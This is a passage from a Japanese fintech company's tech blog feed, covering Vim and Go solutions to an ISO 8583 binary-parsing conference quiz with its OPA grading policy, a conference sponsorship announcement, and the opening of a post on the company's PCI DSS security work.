class="synConstant">10</span><span class="synStatement">+</span>panbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>panbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synConstant">10</span><span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">pan</span> <span class="synStatement">=</span> pan <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synComment"> &quot; Processing Code</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0010000000000000000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte<span class="synStatement">+</span>pcbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>pcbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synSpecial">(</span><span class="synConstant">10</span> <span class="synStatement">+</span> panbyte<span class="synSpecial">)))</span> <span class="synStatement">let</span> <span class="synIdentifier">pc</span> <span class="synStatement">=</span> <span class="synStatement">pc</span> <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synComment"> &quot; Amount</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0001000000000000000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte<span class="synStatement">+</span>pcbyte<span class="synStatement">+</span>amountbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>amountbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synSpecial">(</span><span class="synConstant">10</span> <span class="synStatement">+</span> panbyte <span class="synStatement">+</span> pcbyte<span class="synSpecial">)))</span> <span class="synStatement">let</span> <span class="synIdentifier">amount</span> <span class="synStatement">=</span> amount <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synComment"> &quot; Expiration date</span> <span class="synStatement">if</span> <span class="synIdentifier">and</span><span class="synSpecial">(</span>bitmap, <span class="synConstant">0</span>b0000000000000100000000000000000000000000000000000000000000000000<span class="synSpecial">)</span> <span class="synStatement">!=</span> <span class="synConstant">0</span> <span class="synStatement">if</span> <span class="synStatement">i</span> <span class="synStatement">&lt;=</span> <span class="synConstant">10</span><span class="synStatement">+</span>panbyte<span class="synStatement">+</span>pcbyte<span class="synStatement">+</span>amountbyte<span class="synStatement">+</span>edbyte <span class="synStatement">let</span> <span class="synIdentifier">shift</span> <span class="synStatement">=</span> <span class="synConstant">8</span> * <span class="synSpecial">(</span>edbyte <span class="synStatement">-</span> <span class="synSpecial">(</span>i <span class="synStatement">-</span> <span class="synSpecial">(</span><span class="synConstant">10</span> <span class="synStatement">+</span> panbyte <span class="synStatement">+</span> pcbyte <span class="synStatement">+</span> amountbyte<span class="synSpecial">)))</span> <span class="synStatement">let</span> <span class="synIdentifier">ed</span> <span class="synStatement">=</span> <span class="synStatement">ed</span> <span class="synStatement">+</span> <span class="synStatement">b</span> * <span class="synIdentifier">float2nr</span><span class="synSpecial">(</span><span class="synIdentifier">pow</span><span class="synSpecial">(</span><span class="synConstant">2</span>, shift<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">continue</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synStatement">endif</span> <span class="synStatement">let</span> <span class="synIdentifier">i</span> <span class="synStatement">=</span> <span class="synStatement">i</span> <span class="synStatement">+</span> <span class="synConstant">1</span> <span class="synStatement">endfor</span> <span class="synStatement">echo</span> <span class="synConstant">&quot;--------------------&quot;</span> <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;Message Type: %s&quot;</span>, <span class="synIdentifier">mt</span>) <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;Bitmap: %b&quot;</span>, <span class="synIdentifier">bitmap</span>) <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;PAN: %x&quot;</span>, <span class="synIdentifier">pan</span>) <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;ProcessingCode: %x&quot;</span>, <span class="synIdentifier">pc</span>) <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;Amount Transaction: %x&quot;</span>, <span class="synIdentifier">amount</span>) <span class="synStatement">echo</span> <span class="synIdentifier">printf</span>(<span class="synConstant">&quot;Expiration Date: %x&quot;</span>, <span class="synIdentifier">ed</span>) <span class="synStatement">echo</span> <span class="synConstant">&quot;--------------------&quot;</span> <span class="synStatement">let</span> <span class="synIdentifier">channel</span> <span class="synStatement">=</span> <span class="synIdentifier">ch_open</span><span class="synSpecial">(</span><span class="synConstant">&quot;168.138.192.92:80&quot;</span>, <span class="synSpecial"> \</span> <span class="synSpecial">{</span><span class="synConstant">&quot;callback&quot;</span>: <span class="synConstant">&quot;Callback&quot;</span>, <span class="synConstant">&quot;mode&quot;</span>: <span class="synConstant">&quot;raw&quot;</span>, <span class="synConstant">&quot;waittime&quot;</span>: <span class="synConstant">&quot;1000ms&quot;</span><span class="synSpecial">})</span> <span class="synStatement">let</span> <span class="synIdentifier">body</span> <span class="synStatement">=</span> <span class="synIdentifier">printf</span><span class="synSpecial">(</span><span class="synConstant">&quot;{\&quot;input\&quot;:{\&quot;Type\&quot;:%d,\&quot;PrimaryAccountNumber\&quot;:%x,\&quot;ProcessingCode\&quot;:%x,\&quot;AmountTransaction\&quot;:%x,\&quot;ExpirationDate\&quot;:%x}}&quot;</span>, <span class="synSpecial"> \</span> <span class="synIdentifier">str2nr</span><span class="synSpecial">(</span>mt<span class="synSpecial">)</span>, pan, pc, amount, ed<span class="synSpecial">)</span> <span class="synStatement">let</span> <span class="synIdentifier">header</span> <span class="synStatement">=</span> <span class="synIdentifier">printf</span><span class="synSpecial">(</span><span class="synConstant">&quot;POST /v1/data/iso8583/validation HTTP/1.1\r\nHost: 168.138.192.92\r\nContent-Type: application/json\r\nContent-Length: %d\r\n\r\n&quot;</span>, <span class="synSpecial"> \</span> <span class="synIdentifier">len</span><span class="synSpecial">(</span>body<span class="synSpecial">))</span> <span class="synStatement">let</span> <span class="synIdentifier">payload</span> <span class="synStatement">=</span> header <span class="synStatement">.</span> body <span class="synStatement">call</span> <span class="synIdentifier">ch_sendraw</span><span class="synSpecial">(</span>channel, payload<span class="synSpecial">)</span> <span class="synStatement">echo</span> <span class="synIdentifier">payload</span> <span class="synStatement">endfunction</span> <span class="synStatement">function</span>! Callback<span class="synSpecial">(</span>handle, msg<span class="synSpecial">)</span> <span class="synStatement">echo</span> <span class="synIdentifier">a:msg</span> <span class="synStatement">endfunction</span> </pre> <p>ここで <code>:call ISO8583()</code> を呼び出してみます。クリアできました。</p> <p><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220531/20220531193917.png" width="1200" height="261" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></p> <h1>最後に</h1> <p>あまりドスの効いていない社内イベントの紹介記事になってしまいましたが...。<a class="keyword" href="http://d.hatena.ne.jp/keyword/Vim">Vim</a> やカンムの社内イベントに興味を持っていただけたら幸いです。</p> <p>完</p> kanmu-tech Go Conference 2022 Spring: クイズ ISO 8583 Message Challange の紹介と解説 hatenablog://entry/13574176438092038377 2022-05-17T11:30:00+09:00 2022-05-17T11:30:01+09:00 バンドルカードのバックエンドやインフラを担当しているエンジニアの summerwind です。最近は WebAssembly と JIT に興味があります。 4月23日に開催された Go Conference 2022 Spring ではカンムのメンバーが Go に関する内容で登壇しました。セッションで紹介したスライドは以下で参照できます。将棋プログラミングについては自分もまったく知らない世界の話だったのでとても興味深かったです。 今回のイベントにはカンムもスポンサーとして参加させていただき、今回もオフィスアワーの催しとして Go を使ったクイズ「ISO 8583 Message Challa… <p>バンドルカードのバックエンドやインフラを担当しているエンジニアの <a href="https://twitter.com/summerwind">summerwind</a> です。最近は WebAssembly と <a class="keyword" href="http://d.hatena.ne.jp/keyword/JIT">JIT</a> に興味があります。</p> <p>4月23日に開催された <a href="https://gocon.jp/2022spring/">Go Conference 2022 Spring</a> ではカンムのメンバーが Go に関する内容で登壇しました。セッションで紹介したスライドは以下で参照できます。将棋プログラミングについては自分もまったく知らない世界の話だったのでとても興味深かったです。</p> <iframe class="speakerdeck-iframe" frameborder="0" src="https://speakerdeck.com/player/cb06710a09f94ccb8878f8e4811dd1ed" title="Go で始める将棋 AI" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" style="border: 0px; background: padding-box padding-box rgba(0, 0, 0, 0.1); margin: 0px; padding: 0px; border-radius: 6px; box-shadow: rgba(0, 0, 0, 0.2) 0px 5px 40px; width: 560px; height: 420px;" data-ratio="1.3333333333333333"></iframe> <p><br></p> <iframe class="speakerdeck-iframe" frameborder="0" src="https://speakerdeck.com/player/2cd50a0c02174e72b5b64ba5052d28d1" title="外部コマンドの実行を含む関数のテスト" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" style="border: 0px; background: padding-box padding-box rgba(0, 0, 0, 0.1); margin: 0px; padding: 0px; border-radius: 6px; box-shadow: rgba(0, 0, 0, 0.2) 0px 5px 40px; width: 560px; height: 420px;" data-ratio="1.3333333333333333"></iframe> <p>今回のイベントにはカンムもスポンサーとして参加させていただき、今回もオフィスアワーの催しとして Go を使ったクイズ「ISO 8583 Message Challange」を公開しました。</p> <h2>クイズの問題</h2> <p>今回のクイズの問題は以下の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>で参照できます。もし興味がありましたらぜひチャレンジしてみてください。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fkanmu%2Fgocon-2022-spring%2F" title="GitHub - kanmu/gocon-2022-spring: Go Conference Online 2022 Spring の開催を記念したプログラミングクイズ" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://github.com/kanmu/gocon-2022-spring/">github.com</a></cite></p> <p>今回の問題のテーマは「バイナリ処理」です。インターネットでの通信やデータの保存などでは様々な形式のバイナリが使われていますが、一般的なプロダクト開発ではバイナリを直接扱うようなコードを書く機会は意外と少なかったりします。個人的には Go でバイナリを扱うコードを書くが好きなので、今回のクイズではバイナリのパースを通じてより多くの人にバイナリの操作を楽しんでもらえたらと思い、このテーマを設定してみました。</p> <p>問題では、カンムの決済処理にも使われている <a href="https://en.wikipedia.org/wiki/ISO_8583">ISO 8583</a> 形式のメッセージをパースしてその中から答えとなる値を見つける、というゴールを設定しています。メッセージのバイナリファイルは<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>に <code>message.bin</code> として保存されているので、これをパースしていくと答えが見つかる仕組みです。今回の問題では、より手軽にクイズにチャレンジしてもらえるよう以下のように <code>parse.go</code> ファイルに定義された <code>Parse()</code> 関数の中身だけを実装すれば回答を出せるようにしてみました。</p> <h2>問題の解説</h2> <p>ここからは実際にバイナリをパースしていく方法を解説してみたいと思います。</p> <p>まず最初に、実装が必要な <code>Parse()</code> 関数の定義を見てみると次のようになっています。引数 <code>buf</code> にはバイナリの値が <code>byte</code> の配列として保存されており、<code>*Message</code> を返せばいいことが分かります。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// ISO 8583 メッセージのバイト列をパースして Message を返す関数</span> <span class="synStatement">func</span> Parse(buf []<span class="synType">byte</span>) *Message { <span class="synStatement">var</span> msg Message <span class="synComment">// </span><span class="synTodo">TODO</span><span class="synComment">: バイト列 buf をパースして msg の各フィールドに値を設定してください</span> <span class="synStatement">return</span> &amp;msg } </pre> <p>次に、戻り値である <code>*Message</code> の構造を見みてみると、次のようになっています。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// ISO 8583 メッセージ構造体</span> <span class="synStatement">type</span> Message <span class="synStatement">struct</span> { <span class="synComment">// メッセージ: 3桁の数字</span> <span class="synComment">// ISO 8583 バージョンの 0 は含まないことに注意してください</span> Type <span class="synType">uint16</span> <span class="synComment">// カード会員番号 (PAN): 16桁の数字</span> PrimaryAccountNumber <span class="synType">uint64</span> <span class="synComment">// 処理コード: 6桁の数字</span> ProcessingCode <span class="synType">uint32</span> <span class="synComment">// 取引金額: 任意の桁の数字</span> AmountTransaction <span class="synType">uint64</span> <span class="synComment">// 有効期限: YYMM の4桁の数字</span> ExpirationDate <span class="synType">uint16</span> } </pre> <p>この構造から今回のクイズでは、バイナリから以下の5つのデータをパースして抽出すればよいことが分かります。</p> <ul> <li>メッセージタイプ</li> <li>カード会員番号</li> <li>処理コード</li> <li>取引金額</li> <li>有効期限</li> </ul> <p>データの抽出には ISO 8583 メッセージのバイナリフォーマットの知識が必要になります。弊社の <a href="https://twitter.com/hiroakis_">hiroakis</a> が以前発表した資料にフォーマットの詳細と詳しい解説がありますので、ここからはこの資料とあわせて読み進めてみてください。</p> <iframe class="speakerdeck-iframe" frameborder="0" src="https://speakerdeck.com/player/c29bd6cb7be64a17babefb4aea29d348" title="クレジットカードの通信プロトコル ISO8583 と戦う" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" style="border: 0px; background: padding-box padding-box rgba(0, 0, 0, 0.1); margin: 0px; padding: 0px; border-radius: 6px; box-shadow: rgba(0, 0, 0, 0.2) 0px 5px 40px; width: 560px; height: 420px;" data-ratio="1.3333333333333333"></iframe> <p>最初にメッセージタイプをパースします。これはメッセージの種類などを示す値でメッセージの先頭2バイトを4ビットのパック10進数 (Packed <a class="keyword" href="http://d.hatena.ne.jp/keyword/BCD">BCD</a>) として扱う必要があります。今回の解説では処理を簡略化するため、<a class="keyword" href="http://d.hatena.ne.jp/keyword/BCD">BCD</a> の処理については公開されているパッケージである <a href="https://github.com/albenik/bcd">https://github.com/albenik/bcd</a> を利用していきます。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// メッセージタイプを取得</span> msg.Type = bcd.ToUint16(bin[<span class="synConstant">0</span>:<span class="synConstant">2</span>]) </pre> <p>次にカード会員番号のパースに取り掛かりたいところですが、最初にビットマップと呼ばれる領域を取得しておく必要があります。</p> <p>ビットマップはメッセージにどんな種類のデータが存在するかを示すビットを保存している64ビットの領域です (64ビットより長い場合もあります) 。この領域の各ビットの値が1だった場合はそのビット位置に対応するデータの存在を示しています。例えば、ビットマップの値が2進数で <code>01110010</code> であった場合、2、3、4、7番目のデータが存在していることを示しています。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// ビットマップ領域を取得</span> bitmap := binary.BigEndian.Uint64(bin[<span class="synConstant">2</span>:<span class="synConstant">10</span>]) </pre> <p>ビットマップが取得できたので、カード会員番号を抽出します。カード会員番号の存在を示すのはビットマップの左から2ビット目の値なので AND 演算で確認します。ビットが存在した場合は値を抽出しますが、カード番号の値は可変長の値なので、最初に先頭1バイトの長さを抽出し、その長さ分のバイト数を Packed <a class="keyword" href="http://d.hatena.ne.jp/keyword/BCD">BCD</a> として読み出します。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// バイナリのオフセット</span> offset := <span class="synConstant">10</span> <span class="synComment">// カード会員番号のビットの存在を確認</span> <span class="synStatement">if</span> (bitmap &amp; <span class="synConstant">0x4000000000000000</span>) &gt; <span class="synConstant">0</span> { <span class="synComment">// カード会員番号の長さを取得</span> length, _ := binary.Varint(buf[offset : offset+<span class="synConstant">1</span>]) offset += <span class="synConstant">1</span> <span class="synComment">// カード会員番号を取得</span> msg.PrimaryAccountNumber = bcd.ToUint64(buf[offset : offset+<span class="synType">int</span>(length)]) offset += <span class="synType">int</span>(length) } </pre> <p>次に処理コードを抽出します。カード会員番号と同じようにビットマップで存在を確認してから、処理コードの値を取得します。処理コードの値は3バイトの固定長なので、そのまま読み出します。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// 処理コードのビットの存在を確認</span> <span class="synStatement">if</span> (bitmap &amp; <span class="synConstant">0x2000000000000000</span>) &gt; <span class="synConstant">0</span> { <span class="synComment">// 処理コードを取得</span> msg.ProcessingCode = bcd.ToUint32(buf[offset : offset+<span class="synConstant">3</span>]) offset += <span class="synConstant">3</span> } </pre> <p>残りは取引金額と有効期限になりますが、これらは処理コードと同じ固定長のフィールドなので、次のように処理コードと同じように値を取得できます。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// 取引金額の取得</span> <span class="synStatement">if</span> (bitmap &amp; <span class="synConstant">0x1000000000000000</span>) &gt; <span class="synConstant">0</span> { msg.AmountTransaction = bcd.ToUint64(buf[offset : offset+<span class="synConstant">6</span>]) offset += <span class="synConstant">6</span> } <span class="synComment">// 有効期限の取得</span> <span class="synStatement">if</span> (bitmap &amp; <span class="synConstant">0x0004000000000000</span>) &gt; <span class="synConstant">0</span> { msg.ExpirationDate = bcd.ToUint16(buf[offset : offset+<span class="synConstant">2</span>]) offset += <span class="synConstant">2</span> } </pre> <p>実はビットマップの存在確認に使用する各ビットの値は定数として事前に定義されているので、それらを使用すると最終的な <code>Parse()</code> の実装は次のようになります。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// ISO 8583 メッセージのバイト列をパースして Message を返す関数</span> <span class="synStatement">func</span> Parse(buf []<span class="synType">byte</span>) *Message { <span class="synStatement">var</span> msg Message <span class="synComment">// メッセージタイプを取得</span> msg.Type = bcd.ToUint16(buf[<span class="synConstant">0</span>:<span class="synConstant">2</span>]) <span class="synComment">// ビットマップ領域を取得</span> bitmap := binary.BigEndian.Uint64(buf[<span class="synConstant">2</span>:<span class="synConstant">10</span>]) <span class="synComment">// バイナリのオフセット</span> offset := <span class="synConstant">10</span> <span class="synComment">// カード会員番号を取得</span> <span class="synStatement">if</span> (bitmap &amp; BitPrimaryAccountNumber) &gt; <span class="synConstant">0</span> { length, _ := binary.Varint(buf[offset : offset+<span class="synConstant">1</span>]) offset += <span class="synConstant">1</span> msg.PrimaryAccountNumber = bcd.ToUint64(buf[offset : offset+<span class="synType">int</span>(length)]) offset += <span class="synType">int</span>(length) } <span class="synComment">// 処理コードを取得</span> <span class="synStatement">if</span> (bitmap &amp; BitProcessingCode) &gt; <span class="synConstant">0</span> {<span class="synError"> </span> msg.ProcessingCode = bcd.ToUint32(buf[offset : offset+<span class="synConstant">3</span>]) offset += <span class="synConstant">3</span> } <span class="synComment">// 取引金額の取得</span> <span class="synStatement">if</span> (bitmap &amp; BitAmountTransaction) &gt; <span class="synConstant">0</span> { msg.AmountTransaction = bcd.ToUint64(buf[offset : offset+<span class="synConstant">6</span>]) offset += <span class="synConstant">6</span> } <span class="synComment">// 有効期限の取得</span> <span class="synStatement">if</span> (bitmap &amp; BitExpirationDate) &gt; <span class="synConstant">0</span> { msg.ExpirationDate = bcd.ToUint16(buf[offset : offset+<span class="synConstant">2</span>]) offset += <span class="synConstant">2</span> } <span class="synStatement">return</span> &amp;msg } </pre> <p>実装ができたのでクイズの README.md の記載に従いコードを実行してみると、バイナリファイルから正しい値を取得して正解が表示されました。</p> <pre class="code shell" data-lang="shell" data-unlink>$ go run . -------------------- Message Type: 100 PAN: 4019249999999999 Processing Code: 327327 Amount Transaction: 1138 Expiration Date: 2204 -------------------- Result: VALID: You have successfully parsed the ISO 8583 message! ...</pre> <h2>回答判定の仕組み</h2> <p>問題が解けたところで、今回のクイズの回答判定の仕組みについても簡単に紹介します。</p> <p>カンムではこれまでにも Go Conference の開催にあわせて CTF やクイズを公開してきました。これまでの問題では出題を担当するメンバーが独自に回答を判定する仕組みを実装していましたが、今回のクイズ作成にあたっては、より汎用的な回答判定をする仕組みを採用してみることにしました。</p> <p>今回の回答判定に採用したのは <a href="https://www.openpolicyagent.org/">Open Policy Agent</a> (OPA) です。OPA を使用すれば正解判定を Rego で記述したポリシーとして扱うことができるため、非常に簡単に回答判定の仕組みが用意できました。今回の回答判定では次のようなポリシーを使用しています。</p> <pre class="code" data-lang="" data-unlink>package iso8583 default validation = &#34;INVALID&#34; validation = &#34;VALID: You have successfully parsed the ISO 8583 message!&#34; { input.Type == 100 input.PrimaryAccountNumber == 4019249999999999 input.ProcessingCode == 327327 input.AmountTransaction = 1138 input.ExpirationDate = 2204 }</pre> <h2>目視によるパース</h2> <p>実は ISO 8583 形式のメッセージは16進数で見てみると、ある程度データの値を推測できます。実際に目視でパースして正解した、という方もいたようでした。</p> <pre class="code shell" data-lang="shell" data-unlink>$ hexdump -C message.bin 00000000 01 00 70 04 00 00 00 00 00 00 10 40 19 24 99 99 |..p........@.$..| 00000010 99 99 99 32 73 27 00 00 00 00 11 38 22 04 |...2s&#39;.....8&#34;.| 0000001e</pre> <h2>おまけ</h2> <p>クイズのバイナリに含まれる <code>327</code> や <code>1138</code> といった値は<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A1%BC%A5%A6%A5%A9%A1%BC%A5%BA">スターウォーズ</a>でたびたび登場する<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DE%A5%B8%A5%C3%A5%AF%A5%CA%A5%F3%A5%D0%A1%BC">マジックナンバー</a>に由来しています。これは <a href="https://ymotongpoo.hatenablog.com/entry/2020/07/17/093000">Go のトリビア</a>をリスペクトしてみました。</p> <h2>おわりに</h2> <p>Go Conference の開催中は、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> などでクイズの問題に実際に挑戦してバイナリパースの楽しさを感じてくれた方のコメントを見かけたりして嬉しかったです。</p> <p>カンムでは実際に ISO 8583 のメッセージを処理するシステムを開発して決済サービスを提供しており、バイナリ処理に楽しさを感じるようなエンジニアを募集しています。カジュアル面談などは随時実施していますので、ぜひお気軽にお声がけください。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> <p>最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!</p> kanmu-tech カンムは SRE NEXT 2022 にスポンサーとして参加します #srenext hatenablog://entry/13574176438091702742 2022-05-13T09:58:11+09:00 2022-05-13T09:58:11+09:00 こんにちは!カンムでエンジニア採用を担当している @ayapoyo です。 ついに今週土曜・日曜は SRE NEXT の開催日ですね! 今回はじめての参加になるのでいまからワクワクしております! sre-next.dev ゴールドスポンサーとして協賛します! 今回カンムで初めて SRE NEXT にスポンサーとして参加させていただきます! カンムは運営する『バンドルカード』は500万ダウンロードを突破、2022年には手元の資産形成に活用できるクレジットカード『Pool』をリリース予定と、サービスが拡大していく中でより信頼性の高い決済インフラを構築していくことが求められます。 今回のスポンサーを… <p>こんにちは!カンムでエンジニア採用を担当している <a href="https://twitter.com/_ayapoyochan">@ayapoyo</a> です。 ついに今週土曜・日曜は SRE NEXT の開催日ですね! 今回はじめての参加になるのでいまからワクワクしております!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fsre-next.dev%2F2022%2F" title="Home" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://sre-next.dev/2022/">sre-next.dev</a></cite></p> <h4>ゴールドスポンサーとして協賛します!</h4> <p>今回カンムで初めて SRE NEXT にスポンサーとして参加させていただきます!</p> <p>カンムは運営する『バンドルカード』は500万ダウンロードを突破、2022年には手元の資産形成に活用できるクレジットカード『Pool』をリリース予定と、サービスが拡大していく中でより信頼性の高い決済インフラを構築していくことが求められます。</p> <p>今回のスポンサーをきっかけに、さまざまな業種・領域・フェーズにおける SRE 領域の知見を得るとともに、カンムとしても SRE コミュニティへ還元していければと思っています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2F" title="株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/">kanmu.co.jp</a></cite></p> <h4>スポンサーセッションに登壇します!</h4> <p>今回はスポンサーセッションとして、インフラエンジニアの <a href="https://twitter.com/sgwr_dts">@sgwr_dts</a> が登壇いたします!</p> <ul> <li>タイトル: Poolにおける開発の足を止めないシステム基盤構築</li> <li>日時: 5/15 16:30 - 17:00</li> <li><a href="https://sre-next.dev/2022/schedule#sp01">https://sre-next.dev/2022/schedule#sp01</a></li> </ul> <p>もうすぐリリースされる新規事業『Pool』についてお話します。 Track B にてご視聴いただけます!ぜひ御覧ください。</p> <p>そしてイベント当日はオンラインブースも出展予定です! CTO の <a href="https://twitter.com/mururururu">@mururururu</a> COO の <a href="https://twitter.com/_achiku">@_achiku</a> が滞在しているので、ぜひ遊びに来てくださいね。</p> <h4>参加申し込みは SRE NEXT HP から</h4> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fsre-next.dev%2F2022%2F" title="Home" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;"></iframe><cite class="hatena-citation"><a href="https://sre-next.dev/2022/">sre-next.dev</a></cite></p> <p>当日たくさんの方とお話できることを楽しみにしております!イベントでお会いしましょう〜👋</p> kanmu-tech カンムのセキュリティ事情 hatenablog://entry/13574176438079767470 2022-04-25T12:00:00+09:00 2022-04-25T12:00:25+09:00 こんにちは、livaです。 カンムでセキュリティエンジニアやってます。入社してから半年程度経った今はPCI DSSの監査準備だったり優先度高めにした施策をOKRに落とし込んで手を動かしたりと慌ただしく動いてます。 初執筆のテックブログでなにを書こうかなと考えていて、3月の末に出たPCI DSSv4がいいかとも思ったんですが、読むだけで一苦労だったので諦めました。あとからゆっくり読みます。 今回はカンムの今と将来のセキュリティ事情を書こうと思います。 入社前の想定 面接や面談時にいくつか課題を聞いていて、大きく2つになるのかなーと考えてました。 1. PCI DSSの運用の課題 カンムはクレジッ… <p>こんにちは、livaです。</p> <p>カンムでセキュリティエンジニアやってます。入社してから半年程度経った今は<a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSの監査準備だったり優先度高めにした施策をOKRに落とし込んで手を動かしたりと慌ただしく動いてます。</p> <p>初執筆のテックブログでなにを書こうかなと考えていて、3月の末に出た<a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSv4がいいかとも思ったんですが、読むだけで一苦労だったので諦めました。あとからゆっくり読みます。 今回はカンムの今と将来のセキュリティ事情を書こうと思います。</p> <h2>入社前の想定</h2> <p>面接や面談時にいくつか課題を聞いていて、大きく2つになるのかなーと考えてました。</p> <h4>1. <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSの運用の課題</h4> <p>カンムはクレジットカードの決済フローでは「イシュア」にあたり、業界のセキュリティ基準である<a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSに準拠している必要があります。これがないとそもそものビジネスが成り立ちません。毎年の準拠が必要なため、最低限のセキュリティの体制は出来上がっています。が、日々の運用や監査前の準備は慌ただしくなりがちでした。</p> <h4>2. プロダクトセキュリティ全般の課題</h4> <p>すでにいたエンジニアの良心に任せた運用と<a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSSの要件に沿った運用がされています。防御機構も一通り入っているもののアラートに対する反応であったり、<a class="keyword" 